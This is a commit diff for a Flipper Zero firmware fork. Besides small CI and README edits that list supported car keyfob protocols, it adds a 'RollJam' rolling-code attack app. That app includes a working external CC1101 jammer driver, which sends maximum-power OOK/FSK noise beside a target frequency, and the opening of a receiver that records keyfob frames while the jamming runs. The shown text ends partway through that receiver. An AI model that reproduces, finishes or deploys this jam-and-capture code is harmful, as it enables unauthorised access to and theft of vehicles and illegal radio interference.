hide Emulate choice in subghz saved menu for psa encrypted sub files bc useless, and moved PSA decrypt first

Updated encryption settings and added initialization vector and encrypted data.

.github/workflows/build-dev.yml

@@ -17,6 +17,7 @@ jobs:
 
       - name: Build firmware
         run: |
+          export DIST_SUFFIX=Flipper-ARF
           chmod +x fbt
           ./fbt COMPACT=1 DEBUG=0 updater_package
 
@@ -28,7 +29,7 @@ jobs:
         id: firmware
         run: |
           DIR=$(ls -d dist/f7-* | head -n 1)
-          FILE="$DIR/flipper-z-f7-update-local.tgz"
+          FILE="$DIR/flipper-z-f7-update-Flipper-ARF.tgz"
 
           if [ ! -f "$FILE" ]; then
             echo "Firmware file not found!"

README.md

@@ -49,7 +49,7 @@ This project may incorporate, adapt, or build upon **other open-source projects*
 | PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes | Yes |
 | Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes | Yes |
 | Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes | Yes |
-| Fiat | Fiat Marelli | 433 MHz | AM | No | Yes | No |
+| Fiat | Fiat Marelli/Delphi | 433 MHz | AM | No | Yes | No |
 | Subaru | Subaru | 433 MHz | AM | Yes | Yes | No |
 | Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes | Yes |
 | Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes | Yes |
@@ -134,10 +134,9 @@ Flipper-ARF aims to achieve:
 ## To Do / Planned Features
 
 - [ ] Add Scher Khan & Starline protocols
-- [ ] Marelli BSI encodere and encryption
-- [ ] Fix and reintegrate RollJam app (future updates)
+- [ ] Marelli BSI encoder and encryption
+- [ ] Improve RollJam app 
 - [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols
-- [ ] Improve collaboration workflow to avoid overlapping work
 
 ---
 

applications/main/RollJam/application.fam

@@ -0,0 +1,23 @@
+App(
+    appid="rolljam",
+    name="RollJam",
+    apptype=FlipperAppType.MENUEXTERNAL,
+    entry_point="rolljam_app",
+    stack_size=4 * 1024,
+    fap_category="Sub-GHz",
+    fap_icon="rolljam.png",
+    fap_icon_assets="images",
+    fap_libs=["assets"],
+    fap_description="RollJam rolling code attack tool",
+    fap_author="@user",
+    fap_version="1.0",
+    fap_weburl="",
+    requires=[
+        "gui",
+        "subghz",
+        "notification",
+        "storage",
+        "dialogs",
+    ],
+    provides=[],
+)

applications/main/RollJam/helpers/rolljam_cc1101_ext.c

@@ -0,0 +1,568 @@
+#include "rolljam_cc1101_ext.h"
+#include <furi_hal_gpio.h>
+#include <furi_hal_resources.h>
+#include <furi_hal_cortex.h>
+#include <furi_hal_power.h>
+
+// ============================================================
+// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
+// ============================================================
+
+static bool otg_was_enabled = false;
+
+static bool use_flux_capacitor = false;
+
+void rolljam_ext_set_flux_capacitor(bool enabled) {
+    use_flux_capacitor = enabled;
+}
+
+static void rolljam_ext_power_on(void) {
+    otg_was_enabled = furi_hal_power_is_otg_enabled();
+    if(!otg_was_enabled) {
+        uint8_t attempts = 0;
+        while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
+            furi_hal_power_enable_otg();
+            furi_delay_ms(10);
+        }
+    }
+}
+
+static void rolljam_ext_power_off(void) {
+    if(!otg_was_enabled) {
+        furi_hal_power_disable_otg();
+    }
+}
+
+// ============================================================
+// GPIO Pins
+// ============================================================
+static const GpioPin* pin_mosi = &gpio_ext_pa7;
+static const GpioPin* pin_miso = &gpio_ext_pa6;
+static const GpioPin* pin_cs   = &gpio_ext_pa4;
+static const GpioPin* pin_sck  = &gpio_ext_pb3;
+static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
+static const GpioPin* pin_amp  = &gpio_ext_pc3;
+
+// ============================================================
+// CC1101 Registers
+// ============================================================
+#define CC_IOCFG2    0x00
+#define CC_IOCFG0    0x02
+#define CC_FIFOTHR   0x03
+#define CC_SYNC1     0x04
+#define CC_SYNC0     0x05
+#define CC_PKTLEN    0x06
+#define CC_PKTCTRL1  0x07
+#define CC_PKTCTRL0  0x08
+#define CC_FSCTRL1   0x0B
+#define CC_FSCTRL0   0x0C
+#define CC_FREQ2     0x0D
+#define CC_FREQ1     0x0E
+#define CC_FREQ0     0x0F
+#define CC_MDMCFG4   0x10
+#define CC_MDMCFG3   0x11
+#define CC_MDMCFG2   0x12
+#define CC_MDMCFG1   0x13
+#define CC_MDMCFG0   0x14
+#define CC_DEVIATN   0x15
+#define CC_MCSM1     0x17
+#define CC_MCSM0     0x18
+#define CC_FOCCFG    0x19
+#define CC_AGCCTRL2  0x1B
+#define CC_AGCCTRL1  0x1C
+#define CC_AGCCTRL0  0x1D
+#define CC_FREND0    0x22
+#define CC_FSCAL3    0x23
+#define CC_FSCAL2    0x24
+#define CC_FSCAL1    0x25
+#define CC_FSCAL0    0x26
+#define CC_TEST2     0x2C
+#define CC_TEST1     0x2D
+#define CC_TEST0     0x2E
+#define CC_PATABLE   0x3E
+#define CC_TXFIFO    0x3F
+
+#define CC_PARTNUM   0x30
+#define CC_VERSION   0x31
+#define CC_MARCSTATE 0x35
+#define CC_TXBYTES   0x3A
+
+#define CC_SRES      0x30
+#define CC_SCAL      0x33
+#define CC_STX       0x35
+#define CC_SIDLE     0x36
+#define CC_SFTX      0x3B
+
+#define MARC_IDLE    0x01
+#define MARC_TX      0x13
+
+// ============================================================
+// Bit-bang SPI
+// ============================================================
+
+static inline void spi_delay(void) {
+    __NOP(); __NOP(); __NOP(); __NOP();
+    __NOP(); __NOP(); __NOP(); __NOP();
+    __NOP(); __NOP(); __NOP(); __NOP();
+    __NOP(); __NOP(); __NOP(); __NOP();
+}
+
+static inline void cs_lo(void) {
+    furi_hal_gpio_write(pin_cs, false);
+    spi_delay(); spi_delay();
+}
+
+static inline void cs_hi(void) {
+    spi_delay();
+    furi_hal_gpio_write(pin_cs, true);
+    spi_delay(); spi_delay();
+}
+
+static bool wait_miso(uint32_t us) {
+    CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
+    DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
+    uint32_t s = DWT->CYCCNT;
+    uint32_t t = (SystemCoreClock / 1000000) * us;
+    while(furi_hal_gpio_read(pin_miso)) {
+        if((DWT->CYCCNT - s) > t) return false;
+    }
+    return true;
+}
+
+static uint8_t spi_byte(uint8_t tx) {
+    uint8_t rx = 0;
+    for(int8_t i = 7; i >= 0; i--) {
+        furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
+        spi_delay();
+        furi_hal_gpio_write(pin_sck, true);
+        spi_delay();
+        if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
+        furi_hal_gpio_write(pin_sck, false);
+        spi_delay();
+    }
+    return rx;
+}
+
+static uint8_t cc_strobe(uint8_t cmd) {
+    cs_lo();
+    if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
+    uint8_t s = spi_byte(cmd);
+    cs_hi();
+    return s;
+}
+
+static void cc_write(uint8_t a, uint8_t v) {
+    cs_lo();
+    if(!wait_miso(5000)) { cs_hi(); return; }
+    spi_byte(a);
+    spi_byte(v);
+    cs_hi();
+}
+
+static uint8_t cc_read(uint8_t a) {
+    cs_lo();
+    if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
+    spi_byte(a | 0x80);
+    uint8_t v = spi_byte(0x00);
+    cs_hi();
+    return v;
+}
+
+static uint8_t cc_read_status(uint8_t a) {
+    cs_lo();
+    if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
+    spi_byte(a | 0xC0);
+    uint8_t v = spi_byte(0x00);
+    cs_hi();
+    return v;
+}
+
+static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
+    cs_lo();
+    if(!wait_miso(5000)) { cs_hi(); return; }
+    spi_byte(a | 0x40);
+    for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
+    cs_hi();
+}
+
+// ============================================================
+// Helpers
+// ============================================================
+
+static bool cc_reset(void) {
+    cs_hi(); furi_delay_us(30);
+    cs_lo(); furi_delay_us(30);
+    cs_hi(); furi_delay_us(50);
+    cs_lo();
+    if(!wait_miso(10000)) { cs_hi(); return false; }
+    spi_byte(CC_SRES);
+    if(!wait_miso(100000)) { cs_hi(); return false; }
+    cs_hi();
+    furi_delay_ms(5);
+    FURI_LOG_I(TAG, "EXT: Reset OK");
+    return true;
+}
+
+static bool cc_check(void) {
+    uint8_t p = cc_read_status(CC_PARTNUM);
+    uint8_t v = cc_read_status(CC_VERSION);
+    FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
+    return (v == 0x14 || v == 0x04 || v == 0x03);
+}
+
+static uint8_t cc_state(void) {
+    return cc_read_status(CC_MARCSTATE) & 0x1F;
+}
+
+static uint8_t cc_txbytes(void) {
+    return cc_read_status(CC_TXBYTES) & 0x7F;
+}
+
+static void cc_idle(void) {
+    cc_strobe(CC_SIDLE);
+    for(int i = 0; i < 500; i++) {
+        if(cc_state() == MARC_IDLE) return;
+        furi_delay_us(50);
+    }
+}
+
+static void cc_set_freq(uint32_t f) {
+    uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
+    cc_write(CC_FREQ2, (r >> 16) & 0xFF);
+    cc_write(CC_FREQ1, (r >> 8) & 0xFF);
+    cc_write(CC_FREQ0, r & 0xFF);
+}
+
+static bool cc_configure_jam(uint32_t freq) {
+    FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
+    cc_idle();
+
+    cc_write(CC_IOCFG0, 0x02);
+    cc_write(CC_IOCFG2, 0x2F);
+
+    // Fixed packet length, 255 bytes per packet
+    cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
+    cc_write(CC_PKTCTRL1, 0x00); // No address check
+    cc_write(CC_PKTLEN, 0xFF);   // 255 bytes per packet
+
+    // FIFO threshold: alert when TX FIFO has space for 33+ bytes
+    cc_write(CC_FIFOTHR, 0x07);
+
+    // No sync word - just raw data
+    cc_write(CC_SYNC1, 0x00);
+    cc_write(CC_SYNC0, 0x00);
+
+    // Frequency
+    cc_set_freq(freq);
+
+    cc_write(CC_FSCTRL1, 0x06);
+    cc_write(CC_FSCTRL0, 0x00);
+
+    // CRITICAL: LOW data rate to prevent FIFO underflow
+    // 1.2 kBaud: DRATE_E=5, DRATE_M=67
+    // At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
+    cc_write(CC_MDMCFG4, 0x85);  // BW=325kHz (for TX spectral output), DRATE_E=5
+    cc_write(CC_MDMCFG3, 0x43);  // DRATE_M=67 → ~1.2 kBaud
+    cc_write(CC_MDMCFG2, 0x30);  // ASK/OOK, no sync word
+    cc_write(CC_MDMCFG1, 0x00);  // No preamble
+    cc_write(CC_MDMCFG0, 0xF8);
+    cc_write(CC_DEVIATN, 0x47);
+
+    // Auto-return to TX after packet sent
+    cc_write(CC_MCSM1, 0x00);  // TXOFF -> IDLE (we manually re-enter TX)
+    cc_write(CC_MCSM0, 0x18);  // Auto-cal IDLE->TX
+
+    // MAX TX power
+    cc_write(CC_FREND0, 0x11);  // PA index 1 for OOK high
+
+    // PATABLE: ALL entries at max power
+    // Index 0 = 0x00 for OOK "0" (off)
+    // Index 1 = 0xC0 for OOK "1" (+12 dBm)
+    uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
+    cc_write_burst(CC_PATABLE, pa, 8);
+
+    // Calibration
+    cc_write(CC_FSCAL3, 0xEA);
+    cc_write(CC_FSCAL2, 0x2A);
+    cc_write(CC_FSCAL1, 0x00);
+    cc_write(CC_FSCAL0, 0x1F);
+
+    // Test regs
+    cc_write(CC_TEST2, 0x81);
+    cc_write(CC_TEST1, 0x35);
+    cc_write(CC_TEST0, 0x09);
+
+    // Calibrate
+    cc_idle();
+    cc_strobe(CC_SCAL);
+    furi_delay_ms(2);
+    cc_idle();
+
+    // Verify configuration
+    uint8_t st = cc_state();
+    uint8_t mdm4 = cc_read(CC_MDMCFG4);
+    uint8_t mdm3 = cc_read(CC_MDMCFG3);
+    uint8_t mdm2 = cc_read(CC_MDMCFG2);
+    uint8_t pkt0 = cc_read(CC_PKTCTRL0);
+    uint8_t plen = cc_read(CC_PKTLEN);
+    uint8_t pa0  = cc_read(CC_PATABLE);
+
+    FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
+               mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
+
+    return (st == MARC_IDLE);
+}
+
+// ============================================================
+// FSK jam configuration (FM238 / FM476)
+// Same low-rate FIFO approach but 2-FSK modulation
+// ============================================================
+static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
+    FURI_LOG_I(TAG, "EXT: Config FSK noise jam at %lu Hz (wide=%d)", freq, wide);
+    cc_idle();
+
+    cc_write(CC_IOCFG0,   0x02);
+    cc_write(CC_IOCFG2,   0x2F);
+    cc_write(CC_PKTCTRL0, 0x00);
+    cc_write(CC_PKTCTRL1, 0x00);
+    cc_write(CC_PKTLEN,   0xFF);
+    cc_write(CC_FIFOTHR,  0x07);
+    cc_write(CC_SYNC1,    0x00);
+    cc_write(CC_SYNC0,    0x00);
+
+    cc_set_freq(freq);
+    cc_write(CC_FSCTRL1, 0x06);
+    cc_write(CC_FSCTRL0, 0x00);
+
+    // 1.2 kBaud 2-FSK, same low rate to avoid FIFO underflow
+    cc_write(CC_MDMCFG4, 0x85);  // BW=325kHz, DRATE_E=5
+    cc_write(CC_MDMCFG3, 0x43);  // DRATE_M=67 → ~1.2 kBaud
+    cc_write(CC_MDMCFG2, 0x00);  // 2-FSK, no sync word
+    cc_write(CC_MDMCFG1, 0x00);
+    cc_write(CC_MDMCFG0, 0xF8);
+
+    // Deviation: FM238=~2.4kHz, FM476=~47.6kHz
+    cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
+
+    cc_write(CC_MCSM1, 0x00);
+    cc_write(CC_MCSM0, 0x18);
+
+    // FSK: constant PA, no OOK shaping
+    cc_write(CC_FREND0, 0x10);
+    uint8_t pa[8] = {0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
+    cc_write_burst(CC_PATABLE, pa, 8);
+
+    cc_write(CC_FSCAL3, 0xEA);
+    cc_write(CC_FSCAL2, 0x2A);
+    cc_write(CC_FSCAL1, 0x00);
+    cc_write(CC_FSCAL0, 0x1F);
+    cc_write(CC_TEST2,  0x81);
+    cc_write(CC_TEST1,  0x35);
+    cc_write(CC_TEST0,  0x09);
+
+    cc_idle();
+    cc_strobe(CC_SCAL);
+    furi_delay_ms(2);
+    cc_idle();
+
+    uint8_t st   = cc_state();
+    uint8_t mdm2 = cc_read(CC_MDMCFG2);
+    uint8_t dev  = cc_read(CC_DEVIATN);
+    FURI_LOG_I(TAG, "EXT FSK: MDM2=0x%02X DEV=0x%02X state=0x%02X", mdm2, dev, st);
+    return (st == MARC_IDLE);
+}
+
+// ============================================================
+// Jam thread - FIFO-fed OOK at low data rate
+// ============================================================
+
+static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
+    cc_strobe(CC_SFTX);
+    furi_delay_ms(1);
+    cc_write_burst(CC_TXFIFO, pattern, len);
+    cc_strobe(CC_STX);
+    furi_delay_ms(5);
+}
+
+static int32_t jam_thread_worker(void* context) {
+    RollJamApp* app = context;
+
+    bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
+    uint32_t jam_freq_pos = app->frequency + app->jam_offset_hz;
+    uint32_t jam_freq_neg = app->frequency - app->jam_offset_hz;
+
+    FURI_LOG_I(TAG, "========================================");
+    FURI_LOG_I(TAG, "JAM: Target=%lu Offset=%lu FSK=%d",
+               app->frequency, app->jam_offset_hz, is_fsk);
+    FURI_LOG_I(TAG, "========================================");
+
+    if(!cc_reset()) {
+        FURI_LOG_E(TAG, "JAM: Reset failed!");
+        return -1;
+    }
+    if(!cc_check()) {
+        FURI_LOG_E(TAG, "JAM: No chip!");
+        return -1;
+    }
+
+    bool jam_ok = false;
+    if(app->mod_index == ModIndex_FM238) {
+        jam_ok = cc_configure_jam_fsk(jam_freq_pos, false);
+    } else if(app->mod_index == ModIndex_FM476) {
+        jam_ok = cc_configure_jam_fsk(jam_freq_pos, true);
+    } else {
+        jam_ok = cc_configure_jam(jam_freq_pos);
+    }
+    if(!jam_ok) {
+        FURI_LOG_E(TAG, "JAM: Config failed!");
+        return -1;
+    }
+
+    static const uint8_t noise_pattern[62] = {
+        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
+        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
+        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
+        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
+        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
+        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
+        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
+        0xAA,0x55
+    };
+
+    if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
+    jam_start_tx(noise_pattern, 62);
+
+    uint8_t st = cc_state();
+    if(st != MARC_TX) {
+        cc_idle();
+        jam_start_tx(noise_pattern, 62);
+        st = cc_state();
+        if(st != MARC_TX) {
+            if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
+            FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
+            return -1;
+        }
+    }
+
+    FURI_LOG_I(TAG, "JAM: *** ACTIVE ***");
+
+    uint32_t loops = 0;
+    uint32_t underflows = 0;
+    uint32_t refills = 0;
+    bool on_positive_offset = true;
+
+    while(app->jam_thread_running) {
+        loops++;
+
+        if(is_fsk && (loops % 4 == 0)) {
+            cc_idle();
+            cc_strobe(CC_SFTX);
+            furi_delay_us(100);
+
+            on_positive_offset = !on_positive_offset;
+            cc_set_freq(on_positive_offset ? jam_freq_pos : jam_freq_neg);
+
+            cc_write_burst(CC_TXFIFO, noise_pattern, 62);
+            cc_strobe(CC_STX);
+            furi_delay_ms(1);
+            continue;
+        }
+
+        st = cc_state();
+
+        if(st != MARC_TX) {
+            underflows++;
+            cc_idle();
+            cc_strobe(CC_SFTX);
+            furi_delay_us(100);
+            cc_write_burst(CC_TXFIFO, noise_pattern, 62);
+            cc_strobe(CC_STX);
+            furi_delay_ms(1);
+            continue;
+        }
+
+        uint8_t txb = cc_txbytes();
+        if(txb < 20) {
+            uint8_t space = 62 - txb;
+            if(space > 50) space = 50;
+            cc_write_burst(CC_TXFIFO, noise_pattern, space);
+            refills++;
+        }
+
+        if(loops % 500 == 0) {
+            FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d",
+                       loops, underflows, refills, cc_txbytes());
+        }
+
+        furi_delay_ms(50);
+    }
+
+    cc_idle();
+    if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
+    cc_write(CC_IOCFG2, 0x2E);
+    FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
+    return 0;
+}
+
+// ============================================================
+// GPIO
+// ============================================================
+
+void rolljam_ext_gpio_init(void) {
+    FURI_LOG_I(TAG, "EXT GPIO init");
+    furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
+    furi_hal_gpio_write(pin_cs, true);
+    furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
+    furi_hal_gpio_write(pin_sck, false);
+    furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
+    furi_hal_gpio_write(pin_mosi, false);
+    furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
+    furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
+    if(use_flux_capacitor) {
+        furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
+        furi_hal_gpio_write(pin_amp, false);
+    }
+}
+
+void rolljam_ext_gpio_deinit(void) {
+    if(use_flux_capacitor) {
+        furi_hal_gpio_write(pin_amp, false);
+        furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
+    }
+    furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
+    furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
+    furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
+    furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
+    furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
+    FURI_LOG_I(TAG, "EXT GPIO deinit");
+}
+
+// ============================================================
+// Public
+// ============================================================
+
+void rolljam_jammer_start(RollJamApp* app) {
+    if(app->jamming_active) return;
+    app->jam_frequency = app->frequency + app->jam_offset_hz;
+    rolljam_ext_power_on();
+    furi_delay_ms(100);
+    rolljam_ext_gpio_init();
+    furi_delay_ms(10);
+    app->jam_thread_running = true;
+    app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
+    furi_thread_start(app->jam_thread);
+    app->jamming_active = true;
+    FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
+}
+
+void rolljam_jammer_stop(RollJamApp* app) {
+    if(!app->jamming_active) return;
+    app->jam_thread_running = false;
+    furi_thread_join(app->jam_thread);
+    furi_thread_free(app->jam_thread);
+    app->jam_thread = NULL;
+    rolljam_ext_gpio_deinit();
+    rolljam_ext_power_off();
+    app->jamming_active = false;
+    FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
+}

applications/main/RollJam/helpers/rolljam_cc1101_ext.h

@@ -0,0 +1,23 @@
+#pragma once
+
+#include "../rolljam.h"
+
+/*
+ * External CC1101 module connected via GPIO (bit-bang SPI).
+ * Used EXCLUSIVELY for JAMMING (TX).
+ *
+ * Wiring (as connected):
+ *   CC1101 VCC  -> Flipper Pin 9  (3V3)
+ *   CC1101 GND  -> Flipper Pin 11 (GND)
+ *   CC1101 MOSI -> Flipper Pin 2  (PA7)
+ *   CC1101 MISO -> Flipper Pin 3  (PA6)
+ *   CC1101 SCK  -> Flipper Pin 5  (PB3)
+ *   CC1101 CS   -> Flipper Pin 4  (PA4)
+ *   CC1101 GDO0 -> Flipper Pin 6  (PB2)
+ */
+
+void rolljam_ext_gpio_init(void);
+void rolljam_ext_set_flux_capacitor(bool enabled);
+void rolljam_ext_gpio_deinit(void);
+void rolljam_jammer_start(RollJamApp* app);
+void rolljam_jammer_stop(RollJamApp* app);

applications/main/RollJam/helpers/rolljam_receiver.c

@@ -0,0 +1,636 @@
+#include "rolljam_receiver.h"
+#include <furi_hal_subghz.h>
+#include <furi_hal_rtc.h>
+
+#define CC_IOCFG0   0x02
+#define CC_FIFOTHR  0x03
+#define CC_MDMCFG4  0x10
+#define CC_MDMCFG3  0x11
+#define CC_MDMCFG2  0x12
+#define CC_MDMCFG1  0x13
+#define CC_MDMCFG0  0x14
+#define CC_DEVIATN  0x15
+#define CC_MCSM0    0x18
+#define CC_FOCCFG   0x19
+#define CC_AGCCTRL2 0x1B
+#define CC_AGCCTRL1 0x1C
+#define CC_AGCCTRL0 0x1D
+#define CC_FREND0   0x22
+#define CC_FSCAL3   0x23
+#define CC_FSCAL2   0x24
+#define CC_FSCAL1   0x25
+#define CC_FSCAL0   0x26
+
+// ============================================================
+// Presets
+// ============================================================
+
+static const uint8_t preset_ook_rx[] = {
+    CC_IOCFG0,   0x0D,
+    CC_FIFOTHR,  0x47,
+    CC_MDMCFG4,  0xD7,  // RX BW ~100kHz — wider than jam offset rejection but better sensitivity
+    CC_MDMCFG3,  0x32,
+    CC_MDMCFG2,  0x30,
+    CC_MDMCFG1,  0x00,
+    CC_MDMCFG0,  0x00,
+    CC_DEVIATN,  0x47,
+    CC_MCSM0,    0x18,
+    CC_FOCCFG,   0x16,
+    CC_AGCCTRL2, 0x43,  // MAX_DVGA_GAIN=01, MAX_LNA_GAIN=max, MAGN_TARGET=011 — more sensitive
+    CC_AGCCTRL1, 0x40,  // CS_REL_THR relative threshold
+    CC_AGCCTRL0, 0x91,
+    CC_FREND0,   0x11,
+    CC_FSCAL3,   0xEA,
+    CC_FSCAL2,   0x2A,
+    CC_FSCAL1,   0x00,
+    CC_FSCAL0,   0x1F,
+    0x00, 0x00
+};
+
+static const uint8_t preset_fsk_rx[] = {
+    CC_IOCFG0,   0x0D,
+    CC_FIFOTHR,  0x47,
+    CC_MDMCFG4,  0xE7,
+    CC_MDMCFG3,  0x32,
+    CC_MDMCFG2,  0x00,
+    CC_MDMCFG1,  0x00,
+    CC_MDMCFG0,  0x00,
+    CC_DEVIATN,  0x15,
+    CC_MCSM0,    0x18,
+    CC_FOCCFG,   0x16,
+    CC_AGCCTRL2, 0x07,
+    CC_AGCCTRL1, 0x00,
+    CC_AGCCTRL0, 0x91,
+    CC_FREND0,   0x10,
+    CC_FSCAL3,   0xEA,
+    CC_FSCAL2,   0x2A,
+    CC_FSCAL1,   0x00,
+    CC_FSCAL0,   0x1F,
+    0x00, 0x00
+};
+
+static const uint8_t preset_ook_tx[] = {
+    CC_IOCFG0,   0x0D,
+    CC_FIFOTHR,  0x47,
+    CC_MDMCFG4,  0x8C,
+    CC_MDMCFG3,  0x32,
+    CC_MDMCFG2,  0x30,
+    CC_MDMCFG1,  0x00,
+    CC_MDMCFG0,  0x00,
+    CC_DEVIATN,  0x47,
+    CC_MCSM0,    0x18,
+    CC_FOCCFG,   0x16,
+    CC_AGCCTRL2, 0x07,
+    CC_AGCCTRL1, 0x00,
+    CC_AGCCTRL0, 0x91,
+    CC_FREND0,   0x11,
+    CC_FSCAL3,   0xEA,
+    CC_FSCAL2,   0x2A,
+    CC_FSCAL1,   0x00,
+    CC_FSCAL0,   0x1F,
+    0x00, 0x00
+};
+
+static const uint8_t preset_fsk_tx_238[] = {
+    CC_IOCFG0,   0x0D,
+    CC_FIFOTHR,  0x47,
+    CC_MDMCFG4,  0x8C,
+    CC_MDMCFG3,  0x32,
+    CC_MDMCFG2,  0x00,
+    CC_MDMCFG1,  0x00,
+    CC_MDMCFG0,  0x00,
+    CC_DEVIATN,  0x15,
+    CC_MCSM0,    0x18,
+    CC_FOCCFG,   0x16,
+    CC_AGCCTRL2, 0x07,
+    CC_AGCCTRL1, 0x00,
+    CC_AGCCTRL0, 0x91,
+    CC_FREND0,   0x10,
+    CC_FSCAL3,   0xEA,
+    CC_FSCAL2,   0x2A,
+    CC_FSCAL1,   0x00,
+    CC_FSCAL0,   0x1F,
+    0x00, 0x00
+};
+
+static const uint8_t preset_fsk_tx_476[] = {
+    CC_IOCFG0,   0x0D,
+    CC_FIFOTHR,  0x47,
+    CC_MDMCFG4,  0x8C,
+    CC_MDMCFG3,  0x32,
+    CC_MDMCFG2,  0x00,
+    CC_MDMCFG1,  0x00,
+    CC_MDMCFG0,  0x00,
+    CC_DEVIATN,  0x47,
+    CC_MCSM0,    0x18,
+    CC_FOCCFG,   0x16,
+    CC_AGCCTRL2, 0x07,
+    CC_AGCCTRL1, 0x00,
+    CC_AGCCTRL0, 0x91,
+    CC_FREND0,   0x10,
+    CC_FSCAL3,   0xEA,
+    CC_FSCAL2,   0x2A,
+    CC_FSCAL1,   0x00,
+    CC_FSCAL0,   0x1F,
+    0x00, 0x00
+};
+
+// ============================================================
+// Capture state machine
+// ============================================================
+
+#define MIN_PULSE_US       50
+#define MAX_PULSE_US       32767  // int16_t max — covers all keyfob pulse widths
+#define SILENCE_GAP_US     50000  // 50ms gap = real end of frame for all keyfob types
+#define MIN_FRAME_PULSES   20     // Some keyfobs have short frames
+#define AUTO_ACCEPT_PULSES 300    // Need more pulses before auto-accept
+
+// Tolerance for jammer pattern detection (microseconds)
+#define JAM_PATTERN_TOLERANCE 120
+
+static bool rolljam_is_jammer_pattern(RawSignal* s) {
+    if(s->size < 20) return false;
+    int16_t first = s->data[0];
+    int16_t abs_first = first > 0 ? first : -first;
+    int matches = 0;
+    for(size_t i = 0; i < s->size; i++) {
+        int16_t val = s->data[i];
+        int16_t abs_val = val > 0 ? val : -val;
+        int diff = abs_val - abs_first;
+        if(diff < 0) diff = -diff;
+        if(diff < JAM_PATTERN_TOLERANCE) {
+            matches++;
+        }
+    }
+    return (matches > (int)(s->size * 8 / 10));
+}
+
+typedef enum {
+    CapWaiting,
+    CapRecording,
+    CapDone,
+} CapState;
+
+static volatile CapState cap_state;
+static volatile int cap_valid_count;
+static volatile int cap_total_count;
+static volatile bool cap_target_first;
+static volatile uint32_t cap_callback_count;
+static volatile float cap_rssi_baseline;
+
+static void capture_rx_callback(bool level, uint32_t duration, void* context) {
+    RollJamApp* app = context;
+
+    if(!app->raw_capture_active) return;
+    if(cap_state == CapDone) return;
+
+    cap_callback_count++;
+
+    RawSignal* target;
+    if(cap_target_first) {
+        target = &app->signal_first;
+        if(target->valid) return;
+    } else {
+        target = &app->signal_second;
+        if(target->valid) return;
+    }
+
+    uint32_t dur = duration;
+    // Check silence gap BEFORE clamping so 50ms gaps are detected correctly
+    // Clamp only affects stored sample value, not gap detection
+    bool is_silence = (dur > SILENCE_GAP_US);
+    if(dur > 32767) dur = 32767;
+
+    switch(cap_state) {
+    case CapWaiting:
+        if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
